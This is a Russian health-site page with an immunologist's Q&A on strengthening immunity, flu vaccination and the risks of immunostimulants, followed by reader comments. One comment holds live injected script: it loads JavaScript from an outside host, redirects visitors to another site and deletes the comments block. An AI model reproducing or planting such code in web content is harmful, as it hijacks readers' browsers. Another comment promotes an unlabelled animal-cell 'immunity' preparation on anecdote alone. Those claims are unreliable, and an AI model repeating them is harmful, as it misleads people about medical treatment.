Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Еще раз об иммунитете  >>  Еще раз об иммунитете
 
Обратная связь
 

Еще раз об иммунитете

Размер шрифта
25 октября 2011 06:58
  • google_analytics: false
  • Нравится

Стоит ли делать прививку от гриппа и можно ли вообще «укрепить свой иммунитет»? На самые «горячие» вопросы отвечает главный специалист по аллергологии и иммунологии Департамента здравоохранения города Москвы, кандидат медицинских наук Ирина Сидоренко.

Как укрепить иммунитет?


  1. В течение всего года ведите здоровый образ жизни: занимайтесь физкультурой, питайтесь нормально.

  2. Курение, в том числе и пассивное, отрицательно влияет на состояние слизистых органов дыхания, и они не могут активно противостоять инфекции, пропуская вирус в организм. Даже если курят коллеги или соседи по площадке, и запах, и составляющие продуктов горения табака поражают слизистую. Природный барьер против инфекций, вирусов и бактерий разрушается: не работает ворсинчатый эпителий, который выводит из организма и со слизистой все вредные вещества. В результате микроорганизмы свободно проходят мимо слизистой в организм, и начинаются проблемы.

  3. Поставьте воздухоочиститель.

Однако в случае эпидемии гриппа все эти мероприятия не защитят вас от болезни, правда, снизят риск осложнений. Прививка от гриппа сформирует специфический иммунитет к ожидаемому в этом сезоне штамму вируса гриппа.

Помогает ли контрастный душ при закаливании?

Да, но не надо с завтрашнего же дня обливаться ледяной водой. Начинайте с умывания прохладной водой, постепенно снижайте температуру. Не забывайте о свежем воздухе, умеренных физических нагрузках.

Как защитить первоклассника перед надвигающимися холодами?

Первый класс для ребенка – всегда стресс, поэтому от родителей требуется в первую очередь помощь в преодолении стрессового периода. Обнимите лишний раз, почаще говорите ласковые слова. Не пугайтесь, если школьник несколько раз переболеет простудными заболеваниями. Если они пройдут без осложнений, это нормально. Дополнительные иммуностимуляторы ребенку не нужны. Достаточно питаться хорошо, заниматься интересной деятельностью, иметь друзей. И если ребенок по возрасту развит, и любим родителями, тогда проблем с иммунитетом не возникнет.

Насколько свежевыжатые соки способны укрепить организм?

Свежие соки полезны, но только в меру, и в том случае, если нет аллергии на эти продукты. Больным поллинозом (аллергией на пыльцу) лучше укреплять свой организм другими способами.

Можно ли оценить иммунитет человека и надо ли его как-то корректировать?

Чтобы оценить иммунитет человека, надо, чтобы человек заболел. Допустим, началась гнойная инфекция, и появился жидкий стул. Это сигнал того, что антитела в крови не успевают вырабатываться, а значит, произошел сбой на уровне гуморального звена иммунитета. Если у пациента бесконечные грибковые и вирусные инфекции, это говорит о сбое в иммунной системе на клеточном уровне. Если есть абсцессы, причем требующие оперативного лечения, значит, есть дефект на уровне фагоцитоза.

И все эти уровни – ваша иммунная система. Она каждый раз реагирует на любые инфекционные агенты извне и защищает от болезней. Идет активация сначала одного звена, потом другого, дальше надо успокоить иммунный ответ, и он постепенно придет в норму. В зависимости от того, на какой стадии вы взяли кровь и исследовали иммунную систему, такая у вас будет картина. И надо правильно эту картину оценить и не торопиться с коррекцией, потому что все это – нормальная реакция иммунитета.

Можно ли постоянно принимать препараты для стимуляции иммунитета?

Нет. Гиперактивация иммунитета может привести к развитию аутоиммунных заболеваний, например, аутоиммунного тиреоидита, к поражениям щитовидной железы. Многие иммунотропные препараты противопоказаны больным с аллергией, а аллергия у нас очень широко распространена, особенно в мегаполисах типа Москвы, Новосибирска, Екатеринбурга.

Есть ли возможность избавиться от хронического насморка?

Причиной насморка может быть инфекционное заболевание, а может быть реакция на домашние аллергены. Это клещи, домашняя пыль, плесневые грибы, которых много в библиотеках, где есть старые книги и старые вещи. Это может быть шерсть домашних животных. Аллергия на домашнюю пыль усиливается в холода, когда включают отопление, и пылевые клещи начинают размножаться. В попытке вылечить насморк надо обращаться и к ЛОРу, и к аллергологу, и к иммунологу.

Как повысить свой иммунитет?

Повысить иммунитет – это не просто выпить бутылочку кисломолочной смеси. Многие сидят на диете «по совету» и едят «только три продукта», а еще лучше – принимают пищевые добавки. Чтобы иммунитет был крепким, надо питаться правильно. Этим вы увеличиваете функции всех клеток. Физические нагрузки улучшают и процессы дыхания, и обменные процессы. Если вы не получаете с пищей белок, ваши клеточные мембраны плохо фиксируют рецепторы, через которые происходит взаимодействие клеток в иммунном ответе.

Стоит ли сделать прививку от гриппа перед холодами?

Это важно – привиться от гриппа своевременно. Чтобы успел выработаться иммунитет, чтобы вы были от гриппа защищены. Прививка особенно нужна больным с хроническими заболеваниями, тем, кто контактирует с большим количеством людей: преподаватели, продавцы, врачи, маленькие дети. Прививка полезна в первую очередь в профилактике самого гриппа и осложнений после него, чего мы особенно боимся.

Материал подготовлен по итогам онлайн пресс-конференции в РИА Новости

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

Ну я думаю,что можно заранее принять меры и попить что-то для иммунитета типа "Тилаксина"

2 - zzzzzz

01 июля 2015 в 00:07

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

3 - Инга1980

27 ноября 2016 в 00:40

Цитировать   |   Пожаловаться

Здравствуйте, помогите найти распростронителей препарата - трофосан называется. Он для востановления иммунитета, клеток внутренних органов, крови после тяжелых болезней и операций. И для поддержки иммунтета. Трофосан для чернобыльцев делали в 88-году для восстановления после аварии. Только он мне помог восстановить мои органы и кровь после ошибок молодости худения алкоголя болезней. Одна баночка ко мне случайно попала без Этикетки. Я не знаю толком его состав слышала только что для него используют вытяжку живых клеток с животных (до года) типа плазмы или стволовых клеток а мед просто как консервант. Очень много подделки. Знаю что оригинальный препарат в Ставрополе продают производитель (на крышке)  - БИОКОМ (Симферополь). Может кто еще пользовался и знает где купить.  Заранее спасибо. Пишите в личку или на здесь на сайт.

Статьи

       
Разрушители иммунитета. Что лишает вас защиты от болезней   Ликопид на защите иммунитета против экзаменационных стрессов!   Иммуномодуляры: мифы и правда   Одно лекарство не даст вам умереть от гриппа!  
03 февраля 2012Ученые создают универсальную вакцину от гриппа 21 февраля 2011Как привиться от гриппа без укола
 
04 июля 2013Героин станет безопасным! Изобретена вакцина от героиновой зависимости 19 июня 2013Зависимость от кокаина больше не страшна. Создана первая в мире вакцина от наркотика!
 

Слайдшоу

1
«Укололся и пошел!»
Как избавиться от простуды
Врачи против параллельного мира

Тесты

1
Заболеет ли ваша семья?
Грипп или простуда?
Что вы знаете о пневмонии?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.